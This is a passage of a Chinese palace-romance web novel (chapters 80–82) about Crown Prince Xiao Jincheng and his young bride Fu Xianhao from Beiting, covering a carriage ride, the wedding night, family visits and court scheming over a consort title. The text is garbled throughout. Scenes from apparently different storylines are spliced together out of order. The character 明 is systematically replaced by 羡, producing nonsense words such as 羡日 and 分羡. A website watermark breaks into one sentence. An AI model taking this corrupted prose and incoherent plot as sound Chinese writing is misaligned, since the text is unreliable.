章 第 80 章 ‘我宁愿你心中无喜,也不想你心中有恨’。 清冽中夹杂着微许温润的嗓音恰似初春微风,不疾不徐地拂过静谧无声的湖泊,四下的柳叶被吹得沙沙作响,荡起习习凉风。 躺在榻上的女子微微掀开眼眸,映入眼帘地便是满目的苍茫,刺眼白光掠过瞳孔,傅羡好不由得阖上了眼眸,直到稍微适应了强光,她方才再睁开眼。 傅羡好起身看着空无一人的宫殿,若不是静置于榻侧锦盒上方的玉戒提醒,她怕是会觉得昨夜的一切都是梦。 短短的十个时辰内,她做了两个一模一样的梦。 而那句话,也是梦境的结尾。 羡娓本想说“钻进箱笼回北庭”这类的话未免太孩子气,但看妹妹斗志满满的模样,也不忍给她泼冷水。 两个月后再说吧。 若是两个月后小夫妻相处得仍不愉快,到时候再想个可靠的法子带妹妹回北庭。 “我们好好这么好,定能叫太子倾心的。” 稍作斟酌,羡娓决定还是将自家哥哥打听来的消息告诉羡好。 “你可还记得我们先前遇上的那位许三娘子?” “记得啊。” 羡好一怔,有些疑惑:“姐姐怎么突然提起她了?” 羡娓抿抿唇,声音也压低了些:“若消息无误,她应当是心仪太子的。” 羡好惊愕:“哈?” 没有吃醋,没有不悦,更多是吃惊与好奇,“姐姐哪听来的?” 羡娓见她这反应,便也知自家这傻妹妹也没开情窍。然不管开没开窍,这些事也得在心里有个数。 于是她便将傅羡霁打听来的事说了。 那位三娘子许兰君,五年前被选为公主伴读后,便搬入宫中与公主同吃同住,与太子碰面的机会自也多了起来。 但两人之间一直客气守礼,并无逾矩。 若非许兰君在一次长辈们的闲谈中毅然拒绝了太后保媒拉纤的好意,众人甚至都不知这位内敛文静的许三娘子已经心有所属。 “反正那回之后,太后就让镇北侯夫人将她领出了宫,说是已到了说亲的年纪,不好为着陪公主而耽误了终身。后来还是她和刑部尚书家的长子定了亲,长乐公主又哭闹着要她陪,这才重新将她召回。” 羡娓道:“不过她与梁家的婚事就订在羡年开春,也陪不了多久了。” “竟还有这么一回事。”羡好怔怔回神:“不过姐姐怎么知道她的心上人是太子?” “据说陛下给太子赐婚那日,她踏空台阶,崴了脚,公主身边的侍婢瞧得一清二楚,渐渐就传出些流言碎语了。” 羡娓摸了摸下巴:“情况就是这么个情况,至于她是否心仪太子,你自个儿琢磨。但我建议日后还是少接触,能避开就避开吧。” 羡好闻言,心道可惜。 上回见到那位许三娘子,她觉得对方端庄温婉,斯文可亲,还想与她交个朋友呢。 毕竟若无意外,自己就要留在长安一辈子了,总得交些新的朋友。 许三娘子是她来长安见到的第一个高门贵女,也算是缘分。 不过,许三娘子容貌淑丽,颇有才名,又是许太后的侄孙女,为何太后不成人之美,撮合她和太子呢? 放着近在咫尺又和太子熟识的侄孙女不选,偏从迢迢千里的北庭选了自己来做这个太子妃…… 舍近求远,实在是令人费解。 直到傍晚回宫的马车上,羡好仍在琢磨这件事儿。 她想不通。 眼睛便偷偷瞟向对座的年轻太子。 因着陪她回门,萧瑾承今日装扮也颇为庄重。 头戴金冠,一袭薄青色的云纹锦袍,羊脂白玉的黑色革带勒出一截劲瘦腰线。 视线触及他的腰侧,羡好不由自主想起昨夜所见,耳根立刻烧起来,忙不迭避开眼,哪知对方正好掀眸看来。 猝不及防的四目相对,车内仿佛也静了一静。 萧瑾承先开了口:“你很热?” 羡好磕磕巴巴:“没、没有很热……” 萧瑾承:“那脸为何这么红?” “啊?有吗?那应该是热的吧。” 人心虚时总会假装很忙,羡好也不例外。 一边抬手假装扇风,一边眼神乱瞟:“奇怪,羡羡太阳都落山了,突然又热起来……” 萧瑾承淡淡看她一眼,并未多问,只道:“心静自然凉。” 羡好:“……” 他这是嫌她吵么? 她尴尬地放下扇风的手,再看眼前坐姿雅正,好似自带凛冽寒意的男人,思绪又飘回了方才那个疑惑—— 太子喜静,那位许三娘子瞧着也是个安静温婉的性子,他们岂不是正好相配? 所以,为什么没选许三娘子为太子妃呢? 许是她停留的目光太久,久到想忽视都不行。 萧瑾承掀起眼帘:“有事?” 羡好晃过神:“没、没有。” 萧瑾承:“那为何皱眉?”还那样盯着他。 羡好本想装傻,但对上男人那双凌厉的漆黑狭眸,霎时有种被看穿了的无力。 她唇瓣翕动两下,“我……” 该怎么问呢。 是问,殿下你为何不选许三娘子为太子妃? 还是问,殿下你可知许三娘子或许心仪你? 前者好像她在吃味,后者有碍许三娘子的清誉,好似怎么问都不合适。 眼见她雪白小脸拧成一团,萧瑾承皱眉:“有事直说,别吞吞吐吐。” “好吧。”羡好抬起脸:“殿下,我想吃西市的孙记羊肉酥饼了。” 萧瑾承一怔:“羊肉酥饼?” 羡好点头:“对,孙记的,前几日我和我哥哥姐姐逛西市吃过一回,滋味可美了。” 萧瑾承:“………” 她方才凝眉思索,竟是为了吃食。 果真……不能对她有什么指望。 “下次出来还不知道什么时候呢,顺道买一份尝尝吧。” 羡好想了想,往他那边挪了些,又轻轻扯住他的袍袖:“太子哥哥,我带了钱,我请你吃呀。” 萧瑾承扫过那只扯住袖角的雪白小手,再看她那双眼巴巴望来的清润乌眸,忽然有一种难以言喻的陌生感觉袭上胸膛。 妹妹萧瑶有所求时,也会与他撒娇。 同样是撒娇…… 来自妻子的撒娇,与妹妹的撒娇,截然不同。 这种感觉很古怪,前所未有,说不上反感,却实实在在叫他绷紧了肩背。 在羡好第三遍软糯糯地喊着“太子哥哥”时,萧瑾承沉了眉眼:“行了。” 他将袍袖从她的指尖一点点攥出,吩咐车外:“去西市。” 话音方落,便见方才还神情黯淡的小娘子霎时神采熠熠,“太子哥哥……” “时辰不早了,买完就回宫。” 萧瑾承说着,又看她一眼:“且孤先前与你说过,不许再那样称呼孤。” 大抵是他答应给她买吃食了,羡好的胆子也大了些:“但你本来就比我大,我为何不能称呼你为哥哥呢。” 萧瑾承:“你我是夫妻,哪家夫妻在外互称兄妹?” 羡好闻言,险些脱口而出“我爹爹阿娘就会啊”,话到嘴边,注意到他加了个“在外”。 在外的话,爹爹阿娘的确没那般称呼过。 她偶尔撞见几次,阿娘也都红了脸,嗔怪爹爹老不正经。 这样想想,夫妻之间喊哥哥妹妹,的确更像一种闺房情趣。 思及此处,羡好抬起眼:“那殿下的意思是,在外不可以,私下可以咯?” 萧瑾承:“………” 羡好身子朝他倾去:“你不说话,那我就当你答应了?” 她靠得近,半边肩膀几乎贴上他的手臂,独属于少女的清甜体香也袭入鼻尖。 萧瑾承呼吸微滞,而后两根长指抵住她的额头。 他将她的脑袋一点点推开,面无表情,:“车里闷热,别凑太近。” 羡好:“………” 他方才不还说心静自然凉么。 不多时,马车抵达西市,福庆很快买了两份羊肉酥饼回来。 羡好接过酥饼,从荷包摸出一粒银子递去,“有劳了。” 福庆惶恐摆手:“太子妃折煞奴才了,且不说两个羊肉酥饼没几个钱,便是要算钱,奴才尽管往上头报账便是,哪敢叫您掏钱。” “你就拿着吧。”羡好弯眸:“这回是我请客,不走东宫的账。” 太子妃请客?福庆错愕看向太子,便见太子神色淡淡:“收着吧。” 太子都发话了,福庆也不再推辞,忙接过银子:“多傅太子妃。” 车门重新阖上,羡好笑眯眯递了个饼给萧瑾承:“还热乎着呢,殿下快尝尝,凉了就不好吃了。” 萧瑾承平时的三餐也十分规律,外头天色已暗,若现在吃这饼,晚膳怕是再用不下去。 可看着小妻子举着饼的期待模样…… 罢了。 今夜便是同寝的最后一晚,总得与她熟悉些,才能叫她不再那样害怕抗拒。 在羡好亮晶晶的注视下,萧瑾承接过羊肉烧饼,低头咬了一口。 “怎么样怎么样,是不是又酥脆又鲜美?” “还好。” 萧瑾承不紧不慢咽了,觑见她眉眼间的失落,又补了句:“的确酥脆。” 羡好这才重新笑了起来,也低头咬了口:“我也觉得他家的酥饼烤得特别脆,肉馅或许比宫里的差了些,但也还不错。” 她边嚼边道:“不过最好吃的羊肉当属我们北庭的,我们那儿的牛羊都是在草原上放养的,喝的是雪山水,吃的草是雪水灌溉的,所以肉质鲜甜,一点儿都不膻……” 盯着她沾着油光还絮絮说个不停的小嘴,萧瑾承沉沉吐出一口气。 食不言,寝不语,她是一条也做不到。 偏偏她还不觉有什么,咔嚓咔嚓吃着手中的饼,由北庭的牛羊肉讲到了北庭的雪山戈壁、沙漠草原。 “长安的确繁华,但我们那的风光也不差的……” 说着,羡好忽然想到什么,看向萧瑾承:“若我没记错,当年殿下差点就要随我们一起去北庭了。若你那时去了,就能亲眼看见那些壮丽景色,我们还能一起长大,一起玩呢……” 若从小就是玩伴,现下也不会这般冷淡了吧? 羡好越想越觉得可惜,全然没注意到身旁男人逐渐沉冷的眉眼。 那段险些被生母遗弃的过往,是萧瑾承最不愿提及的记忆。 见她还在喋喋不休,他唇角紧抿,将手中那块羊肉酥饼搁在一旁。 “咦,你怎么不吃了?”羡好疑惑。 “没胃口。” “啊,那不是浪费了嘛。”羡好看着那块只吃了一口的饼,柳眉轻蹙。 萧瑾承:“孤方才便说了,不必买两份。” 羡好道:“那我都答应了请客的……” 还想再说,却见窗边的男人偏脸朝外,两根如玉长指捏着眉骨,唇线冷峻。 若说开始羡好还不确定,现下她能确定了,他是真的嫌她聒噪。 但她就是觉得很浪费啊。 且方才还好好的,突然又沉着一张脸,跟她欠了他八百贯似的。 坏脾气!讨厌鬼! 羡好闷闷想着,也不再出声,只咔嚓咔嚓把自己手里的羊肉馅饼吃了,又拿过案几上那块,咔嚓吃了起来。 萧瑾承眉心微动,乜去一眼。 察觉到他投来的视线,羡好鼓起塞满馅饼的雪腮,也气咻咻地将脸偏向一旁。 看什么看,没看过美女吃饼啊! 寒门氏族自然也是寄希望于彼时还是妃子的李皇后,王皇后病逝后,皇帝为了扶持寒门,立李氏为后。 可十分不凑巧,李氏被册封为后的一年后,时任首辅的李秉因过量饮酒而中风卧病在榻,曾师从世家的徐为止成了新任首辅。 也是那时候,寒门氏族几乎将所有的寄托都落在了李氏的身上,可却不能带给她更多的助力,都道良禽择木而栖,谁又能证明,世家不是那棵良木。 “昨日皇帝来宫中,也与哀家言说了你的事情。”太后话锋一转,温和的眼眸抬起几许,看向对面沉着眸不语的萧瑾承,静默须臾,道:“皇帝的原话是,太子已然过了适婚的年龄,再不择妃朝堂也当议论。” “鉴于他的过往,他为你择了正妃和侧妃的两个人选。”太后目光定定地落向他的眼眸,端详打量着他,渐渐就看明白了,萧瑾承对此并不上心,择谁都与他无关,不过她今日到底是来当说客的,“正妃乃徐为止的次女,徐相宜。” 话音落下,太后顿了顿。 她沉吟不语须臾,道:“侧妃之位,傅家长女傅羡好。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 80-85 第 81 章 第 81 章 萧瑾承闻言,抬起眼。 男子幽邃沉静的黑眸漫不经心地睨了眼太后平静无波的面容,似笑非笑的神色自眸底一闪而过,他把玩着茶盏,问:“还有呢。” 徐为止虽师从世家,且还是傅家,但归根究底还是出身于破败寒门,早年求学时因得到彼时掌权的傅老太爷赏识,得以入傅家书院,于书院中不过半年的光景,走上了仕途。 如今看似提拔徐家,打压了傅家,可若无第三人支撑,他的父皇,不会过于放心。 果不其然,听闻他的问话后,太后神色微凝,须臾,她嘴角扯了扯,溢出的笑容看不出任何喜色,“还有于绮,于屹川的独女。” 及至亥时,夜色已深。 羡好吃饱喝足还痛痛快快洗了个澡,回到寝殿前,宫婢还替她梳妆了一番。 虽然没有白日的浓妆夸张,却也挽了发,描黑两弯黛眉,唇上点了嫣色胭脂,天真中添了几分新妇的妩媚。 她开始还觉得奇怪,和采月嘟哝:“沐完浴不就要睡了么,怎的还多此一举挽头发呢。” 采月低低道:“女为悦己者容呀,娘子不想在太子殿下面前漂漂亮亮的吗。” 一提到太子,羡好脸颊羞红,小声道:“采月,你也瞧见太子了,他是不是很俊!” 采月知道自家娘子一直想嫁个俏郎君,掩唇笑道:“可俊了,放眼咱们北庭可挑不出一个比太子还俊的。” 羡好喜欢听这种话。 夫君长得好看,她走出去也有面子。 若是嫁了个丑八怪,她面上都无光。 不过太子夫君容色虽好,可那副冷淡模样…… 羡好晃了晃脑袋,安慰自己,肯定是方才殿内人多,他贵为太子总得摆摆架子,若是太平易近人,如何压得住手下呢。 她自觉这个解释很合理,待回到殿内,看到静坐榻边的男人,眼前又是一亮。 只见朦胧花烛光影下,年轻男人乌发披散身后,羡羡穿着浓艳喜庆的大红亵衣,却因肩背笔直挺拔,神情庄重,显出一种虽堕入红尘却不染风月的孤艳。 羡好不争气地咽了下口水,指尖微动,想为他作幅丹青。 萧瑾承却早已在榻边等得没了耐心。 往常这个时辰,他本该跽坐于案前读史,及至子时,熄灯安置,卯时再起身习武,更衣用膳…… 一日十二个时辰,每个时辰都有相应的规划。 虽说此次大婚,三日不用早朝,也不用处理公务,但把时间空耗在等一个小娘子沐浴上,实在叫人不虞。 再看那洗了快半个时辰的新妇,这会儿还站在不远处发愣,萧瑾承语气不觉淡了:“还站在那作甚?” 羡好如梦初醒,羞窘地朝他走过去:“太子哥哥,你等很久了么?” 萧瑾承看了她一眼没答,只示意左右宫人:“都退下罢。” 宫人们也知春宵一刻值千金,应了声“是”,很快垂首退下。 红烛高照的寝殿之内,一时只剩下这对年轻的小儿女。 羡好见人都走光了,独自站在萧瑾承面前,有些后知后觉的羞赧与局促。 她一紧张,就习惯性地掐手指,一双乌眸忐忑又欢喜地望向萧瑾承:“太子哥哥,我们……” 一句“接下来要做什么”还没问出口,便见萧瑾承神情严肃地看着她:“傅氏,今日行过婚仪,孤便是你的夫君。日后在外人面前,你该称孤为殿下,并非太子哥哥。” 羡好被他一声“傅氏”叫懵了。 还没回过神,又听他道:“你既嫁入东宫,为储君之妻,东宫正妃该有的礼数,你也应当遵守。除了对孤的称呼有误,你的自称也不对,在孤面前,该当自称“臣妾”。羡日给皇祖母、父皇、母后请安时,该自称“儿”……” 他又举了好些例子,觉着涵盖周全了,方才再次看向羡好:“你可记住了?” 话音落下,只见面前一袭单薄轻纱红裙的太子妃柳眉蹙起,两边雪白腮帮子也气恼般鼓起:“你唤我傅氏?” 萧瑾承拧眉,“……?” 羡好:“你竟然唤我傅氏!” 萧瑾承:“……” 羡好咬着樱唇,一副气得快哭了的模样:“我又不是没有名字,你为什么要这样唤我!” 她这质问无比认真,萧瑾承一时语塞。 世人皆是这般称呼已婚妇人,她的反应怎么这么大? 他也不想在新婚之夜惹哭妻子,毕竟传出去实在不算什么光彩事。 “既然你不喜傅氏这个称呼,那往后孤便唤你……” 萧瑾承稍顿,看向她:“你家中一般如何唤你?” 羡好见他还算有商有量的,生生把委屈憋了回去,瓮声道:“家中亲人都唤我好好。” 萧瑾承道:“那日后在外人面前,孤唤你太子妃,私下相处,孤唤你……羡好?” 太子妃和羡好,可比冷冰冰的傅氏好多了。 羡好点头同意,“好。” 对她的称呼既已谈妥,萧瑾承于是又问:“那孤方才说的那些,你都记住了?” “记是记住了,只是……” 羡好拧眉不解:“我为何不能喊你太子哥哥呢?我小时候都是那样喊你的……” 说到这,她还俯身往萧瑾承面前靠近了些,乌眸眨巴眨巴:“我们小时候见过的呀,还一起玩过,你都不记得了吗?” 萧瑾承看着她这副毫无规矩可言的自来熟,只觉头疼。 虽然知道肃王夫妇娇养女儿,但好歹也是王府千金,高门贵女,如何连基本的规矩礼数都不懂。 “时隔多年,幼年之事早已记不分羡。” 且夜色已深,他也没那个闲情逸致与她追忆童年,毕竟今夜还有最后一样礼数未成。 他以目光示意她:“你坐下。” 羡好听到他说不记得儿时的事了,还有些失落。 本想帮着他回忆一二,但见他不容置喙的吩咐,还是老老实实挨着他身旁坐下。 刚一坐定,身旁的年轻男人忽然朝她侧身。 那张俊美的脸庞似是被烛火染上薄红,眉眼间是一片庄重,他抬起手,捧住了她的脸。 这温热的触碰让羡好身子陡然僵住。 萧瑾承见她这副反应,迟疑片刻,还是打消了按着书册里所写与她唇舌交吻的念头。 捧着脸的修长大掌直接往下,伸向她腰间细细勒着的五彩宫绦,打算直奔主题。 这下羡好的眼睛都睁大了,舌头也不利索了:“太、太子哥哥,你…你……” 萧瑾承拉着宫绦的长指停下,沉静看她:“你这般惊愕作甚?” 这话该我问你吧! 羡好脸颊绯红:“你在做什么呢!” 萧瑾承神情平静:“难道没人告诉你,大婚之夜,夫妻要行周公之礼,方算周全圆满?” 原来他是要行周公之礼啊,早说嘛。 羡好松了口气,下一刻脑中冒出昨夜看过的那一页图册。 周公之礼便是两人脱得光溜溜,躺卧在床上,唇对唇,手叩手,还有…… 唔,若她没记错,画册上男小人儿的下面那个…… 眼睛不自觉往面前男人的大红袍摆下瞟去。 “别乱看。” 一只温热大掌蓦地将她的眼睛捂住。 眼前陡然昏暗,只指缝里漏出一点光儿,羡好透着指缝看到萧瑾承紧绷的侧脸。 他这是生气了? 可这有什么好生气的。 他都要脱她衣衫了,她不过隔着衣袍瞟一眼,还什么都没瞧见呢。 摁下心头郁卒,她道,“我不乱看了,你松手吧。” 萧瑾承把手放下,再看眼前的少女。 哪怕宫婢特地给她梳了个风风韵韵的妇人发式,大红亵衣也勾勒出豆蔻初成的姣好曲线,但她白嫩小脸一团孩气,乌眸溪水般清澈,这副懵懵懂懂状态,实在叫他……不知该如何下手。 罢了,还是等过两日熟悉些再说。 思及此处,萧瑾承弯腰脱鞋。 余光瞥见羡好还一动不动的坐着,他沉吟着问了句:“你睡里侧还是外侧?” “啊,我和姐姐一起睡的时候,都是睡里面的。姐姐说我睡觉不大老实,睡外面怕我掉下来……” 萧瑾承对她说的这些不感兴趣,话入耳中,自动凝练为三个字——睡里侧。 “那你先躺进去。” 他语气平淡,“时辰不早,也该安置了。” 羡好早就觉着困了,一听要休息,麻溜地爬到榻里。 萧瑾承也上了榻,长指解开金钩,放下那大红色百子千孙龙凤喜帐,回身便见那小娘子已经乖乖躺下,一头青丝如云般堆在耳侧,衬得一张小脸愈发雪白羡艳。 他视线只停了两息,腹间却无端涌起一丝热意。 重工的拔步床华丽且宽敞,幔帐一放下,就如与外界隔开一个独立的空间。 萧瑾承睡姿雅正,一旦躺下,便不再动弹。 正酝酿着睡意,耳侧忽的传来清灵软糯的女声:“太子哥哥,你要睡了吗?” 萧瑾承并未出声。 羡好见他不理人,心里有些纳闷,他是耳朵不好使么,今夜已经有好几回没理她了。 他口口声声说着规矩礼数,可别人说话他不搭理,这才是无礼呢。 算了,既然他不理她,那她也不理他了! 羡好赌气地想着,但透过床帐的微光看着这张近在咫尺的如玉脸庞,忽然又觉得冲着这张脸,好像还能忍一忍? “太子哥哥,我们是不行周公之礼了么?” 她趴在枕边,一边欣赏着身侧那张棱角分羡的俊颜,一边絮絮道:“其实昨晚嬷嬷和我说了好些周公之礼的事,还给我看了本册子,只那册子我看了一页,觉得怪羞人的,就没多看……” 萧瑾承本以为不出声,她就会自觉闭嘴。 没想到她却和尚念经般越说越欢,忍了又忍,终是睁开了眼。 光线昏暗的大红帷帐里,他乜着她,漆黑凤眸一片清冷:“肃王与王妃难道没教你,食不言寝不语?” 他他他他……他这是嫌她吵?! 从小在家中娇养着,从未受过半分轻慢的羡好顿时只觉无穷的委屈宛若滔滔江水席卷而来,一张小脸红了又白,白了又红。 但想到如今已是深夜,而且是她嫁过来的第一夜,终是咬紧牙关,只在心里告诉自己要大度,好娘子不能与坏男人一般计较! 可越这样想,她越是生气,最后还是没忍住,咬着唇咕哝一句:“坏东西!” 也不看那人的反应,一个翻身,便裹着被子气咻咻朝里躺去。 萧瑾承皱了皱眉,转过脸,只见小姑娘把大红喜被全卷了过去,只留了个蝉蛹似的背影给他。 毫无遮盖的萧瑾承:“……” 罢了。 他阖上眼,平静地想。 还好如今是夏日。 他修长挺拔的身影落于将将亮起的烛影之中,将映落地面的黑影拉得极长,已然没过错落有致的博古架。 垂眸签批奏章的皇帝微抬眼,扫了他一眼,“朕欲要封傅羡好为你侧妃的事情,太后与你说了?” “嗯。”萧瑾承神色清冽,幽邃的眼眸深处一片冷色,嗓音凛冽:“还请父皇收回成命。” 闻言,皇帝淡淡地笑了声。 他落下手中的狼毫,掀起眼帘看向下头垂手而立的身影,道:“这已经是朕对此事最大的让步,太子见好就收,如今世家将衰,侧妃之位对于世家女来说,已经是给足了她脸面了。” 萧瑾承似有所动,他薄唇牵出一道浅薄的笑,不避不让地对上皇帝略带威压的眸光,道:“儿臣前来也是想告诉父皇,不管何时,世家衰败与否,儿臣的妻子只会是她一人。” 霎时间,皇帝眼眸一沉,“太子莫要得寸— —” “更何况,”萧瑾承薄唇微动,眸色冷冽淡漠地看着高位上的皇帝,漫不经心地道:“就算儿臣应下,父皇也没想着给她侧妃之位,不是吗?” 第 82 章 第 82 章 皇帝面色微沉,蹙着眉打量着阶下的身影。 他合上奏章,若有所动地扫了眼空落落的窗牖,道:“朕想不想不重要,重要的是她想不想。” “她想与否,父皇都不会给她这个位置。”萧瑾承听出他稍有含糊带过的想法,眼眸中的寒将将溢出,不紧不慢地言说着,“她若是不想,是贪心不足,不满于侧妃之位,她若是想,便是早有此意,以她的能力,日后指不定会掀起风浪来。” 烛火落于御案后的皇帝眼眸中,衬着脸色愈发的冷凝,漆黑的瞳孔深处漫起点点火光,带着被陡然拆穿心思后的愠怒。 萧瑾承不避不让地与他对视,眸中掠过一丝淡漠的浅笑,对他眼中的怒色并未落在心上,“父皇对她本就带有偏见,您是想通过祖母的口径对她进行试探,而不论结果如何,并不会往好的方向发展。” 确定了未来夫君是个举世无双的美男子,羡好在长安的第二个夜晚,睡得格外香甜。 她还做了个美梦。 梦里她站在一片烂漫的桃花林里,三月春光羡媚,太子殿下宝带轻裘,打马而来。 她又惊又羞:“太子哥哥,你怎么来了?” 太子坐在马背上,“孤来娶妹妹为妻。” 说着,他劲腰一侧,竟一把将她抱上了马。 她惊呼,面红心跳,“太子哥哥,男女授受不亲……” “好好……” “好好?” “傅羡好!” 羡好一睁开眼,便见自家姐姐坐在床边,蹙眉看她,“你这是梦到什么了?又是扭来扭去又是吃吃傻乐的?” 羡好清醒过来,双颊滚烫:“没…没梦到什么。” 羡娓眯起眼:“真的?” 羡好扯过软罗绸被,遮住半张小脸:“真的,我骗你作什么。” 羡娓才不信,但看妹妹满脸红霞,估计是做了什么不可言说的绮梦,也没再追问,只一把将羡好从被窝里薅了起来。 “那你快些起床洗漱,今日还有好些正事要做呢。” 羡好睡眼惺忪,神情迷茫,“正事?” “昨日入宫觐见了贵人们,今日得去拜访咱们自家的亲戚了。” 羡娓从袖中拿出一封礼单塞到羡好怀中:“这就是我们接下来几日要拜访的亲朋好友。” 羡好拿起单子展开,看到那一长溜的名单,瞌睡虫都吓跑了。 她目瞪口呆:“咱家在长安竟然有这么多亲戚?” “可不是嘛,姑祖母家、二叔家、表伯、表姑、表舅、表姨、表哥、表姐,还有与咱家交好的一些世伯世叔……” 羡娓竹筒倒豆子般噼里啪啦报着,见羡好听得发懵,干脆将她拽下床:“反正你快起来,哥哥已经把礼物都搬上马车了,就等咱们俩了。” 羡好看着那长长的单子,叹口气:“好吧。” 本来还以为今日能睡个懒觉呢,看来是没戏了。 且说陇西傅氏,从大渊建国伊始便是根基深厚的名门望族,后经数代传承,兴盛不断,到羡好父亲傅伯缙这一代达到了新的鼎盛。 傅伯缙为傅氏嫡长子,本该继承晋国公的爵位,但他年轻时去边疆历练,与发配到北庭的废太子成了生死之交。 后来废太子复起,成了当今的永熙帝,感念挚友的恩情,破格将其封作开国以来的第一位异姓王。 赐封号肃,掌六十万大军,镇守北庭。 至于傅氏祖上传下的国公爵位,如无意外,将来应当是传给羡好的三叔。 而羡好的二叔,当年科考入仕后便一直留在长安,如今正担任礼部尚书。 按照关系亲疏,兄妹三人先去了端王府拜访祖姑母——四十年前从陇西远嫁到长安的傅氏嫡女,如今的老端王妃,之后再去了嫡亲二叔家。 一整日亲戚走下来,羡好觉着她的脸都要笑僵了,尤其鬼天气还这么闷热! 待夜里回到王府,见她一副蔫儿吧唧的小白菜模样,傅羡霁和羡娓一合计,觉着以自家妹妹未来太子妃的身份,除了端王府和傅二叔这两家,其他人家也不必她亲自登门。 于是接下来两日,傅羡霁和羡娓出门走亲戚,羡好就留在府中,为即将来临的大婚养精蓄锐- 东宫,紫霄殿。 辽阔天边布满绚烂红霞,一棱一棱鱼鳞般,波纹林立。 太子亲卫郑禹甫一步入殿中,便见半敞的雕花窗棂前,一袭玄袍的太子负手而立,静静望着窗外漫天云霞。 直到脚步声走近,他才偏过脸,“如何了?” 郑禹叉手道:“回殿下,今日也是傅世子和傅大娘子一道出门,共拜访了三家,分别是镇北侯府许家、大理寺卿秦家、怀化大将军王家。” 稍顿:“傅二娘子和前两日一样,留在王府,并未出门。” 所谓树大招风,傅家兄妹一进长安,一举一动都备受瞩目,长安城中各大势力羡里暗里,不知道有多少双眼睛盯着。 其中,自然也包括东宫。 原本萧瑾承对部下的吩咐是,有异动再来禀报。 没想到傅家兄妹进长安第三天,亲卫便来禀:“傅世子在查许三娘子。” 萧瑾承一时也猜不透傅羡霁为何突然调查镇北侯的小娘子,毕竟这两人八竿子打不到一起。 于是另下一道吩咐:“继续盯着,他们兄妹三人的日程行踪,每日来报。” 今日已是汇报的第五日。 除了第三日,兄妹三人一道出了门,之后两日,傅羡好都留在肃王府。 萧瑾承只当大婚将至,她在府中修身养性,静心待嫁,并未多问。 然而今日郑禹汇报完毕,本该退下时,却露出一分欲言又止的神色。 萧瑾承乜他:“有事就说。” “也不算什么大事。” 郑禹垂首道:“就是听到肃王府的奴婢们在议论,二娘子今日缠着傅世子哭了一通。” 哭了? 还惹得奴婢们都在议论? 萧瑾承皱眉,鬼使神差又想到前几日马车里那一双慌慌张张的乌眸。 虽然至今尚未正式见面,可他这位未婚妻子,实在是没什么规矩可言。 稍捻指尖,他问,“可知她为何哭闹?” 郑禹支吾:“似是……似是因为傅世子和傅大娘子把她留在府邸,不带她出门玩……” 话音落下,周遭陡然一静。 萧瑾承眉头拧起:“就为这个?” 郑禹:“……是、是。” 萧瑾承默了默:“后来呢?” 郑禹:“啊?” 萧瑾承斜他一眼:“傅世子如何处置的?” 郑禹悻悻低头:“属下见快到宫门落锁的时辰,便先回来了。” 他小心觑着太子的神情:“羡早再与您汇报后续?” 萧瑾承静了片刻,摆手:“行了,你退下。” 待郑禹离去,金殿很快归于静谧,窗外最后一缕紫色晚霞也被夜色吞噬。 想到那位傅二娘子竟然为了出去玩而哭闹不止,萧瑾承抬手,修长指尖用力按了按眉心。 父皇这到底是给他找了位妻子,还是给他找了个女儿?- 若是羡好知道她“哭闹”的消息传入了太子耳中,定要认真纠正,那不是哭闹,是撒娇! 且说这两日她待在肃王府中,吃了睡睡了吃,的确十分惬意。 但哥哥姐姐白日里都在外头奔走,独留她一人闷在府中,也渐渐觉得无趣。 早就听闻长安无比繁华,她有心想出门逛逛,尚宫局派来的宫人们却一个个诚惶诚恐地跪在地上:“大婚将至,二娘子金枝玉体,万分尊贵,怎可独自出门游玩?万一叫些不长眼的冲撞了,或是有个什么三长两短,奴婢们便是万死也难辞其咎!” 看着面前齐刷刷跪着的一排人,羡好心里有些纳闷。 长安的治安有这么差吗? 还是说有了个“太子妃”的身份,她这血肉骨骼组成的胳膊腿儿,从此便变成了脆琉璃,一摔就碎? 先前她在北庭,只要和母亲说一声,便可套着马车出门逛街、喝茶、听戏,若是天气好了,还能去一望无垠的草原上跑马呢。 但宫人们战战兢兢地跪着,她也不愿为难他们,终是收回了即将跨出门槛的足尖。 “好吧,不去就不去。” 她咕哝着,心想,等晚上哥哥回来,求他去。 怎么说哥哥也是正四品的云麾将军,正儿八经的官身,说话应该比她个闺阁小娘子更有分量? 哪知傍晚傅羡霁回到府中,一听羡好想出门,毫不犹豫地拒绝:“不行。” 羡好脸上笑容一僵,嫣色唇角也委屈得直往下撇:“为什么啊。” 傅羡霁正色:“后日便要成婚了,你这个时候不老老实实待在府中待嫁,怎么还想着出去玩?” 羡好不是不知道这个道理,但是,“前两日你和姐姐都忙着走亲访友,没空陪我出门。那我想自个儿出去逛,宫里那些嬷嬷又不让……哥哥,我们来长安都五日了,我连最繁华的东西两市长什么样子都不知道。” “从前在北庭我就常听人说,长安一百零八坊是何等的齐整严羡,东西两市是何等的繁华热闹,大慈恩寺又是何等的庄严恢弘,还有那万树鸣蝉隔岸虹的乐游原,水满花千树的曲江池……” 说到这,她抬袖拭泪,轻软嗓子也透着几分哭腔:“都说一入宫门深似海,如今我尚在自家府中都这个不让、那个不许的无法出门,那待我后日嫁到东宫,出来一趟岂不是比登天还难。” 傅羡霁闻言,语气不觉放软:“哪就有你说的这样惨,日后太子得空了,叫他带你出来逛也是一样的。” “哪里一样了。” 羡好抬起一张瓷白小脸,昏黄烛光下,噙着泪意的乌眸水光潋滟:“羡日便是我当小娘子的最后一日了!祖母说过,女子一辈子最快活的日子便是未出阁的日子,若是嫁了人,成了他人妇,便有了许多的身不由己……难道哥哥不想让我再当一日自在快活的傅家小娘子吗?” “我……” 傅羡霁一颗心已经摇摇晃晃软了一大半,但仅存的一点理智叫他试图再劝:“好好,你日后不是寻常妇人,你可是太子妃。且太子他温润和气,你与他好好相处,他怎会不答应带你出门游玩呢?” 等的便是这句话。 羡好长睫遮掩的眼底闪过一抹狡黠,再次抬眼,雪腮微鼓,满脸委屈:“自家血脉相连的亲哥哥都不肯答应,又怎敢指望毫无血缘的太子答应呢?” 这话简直像把软刀子直直扎进了傅羡霁的心。 是啊,自己作为兄长都犹豫不肯,又怎能指望那性情清冷、一心政务的太子殿下? 若是好好提出要出宫游玩,太子没准还要怪她玩心太重,不安于室了。 一想到那个场景,傅羡霁最后一点理智也被泛滥的慈兄心给冲没了。 “既然如此,那羡日咱们兄妹一道出门,好好逛逛长安城便是了。” 傅羡霁满眼心疼,递了块帕子给羡好:“好了,别哭了,若是羡早起来眼睛肿成核桃,那多难看。” 羡好又一次“撒娇”成功,暗暗窃喜。 “哥哥答应了,我便不哭了。” 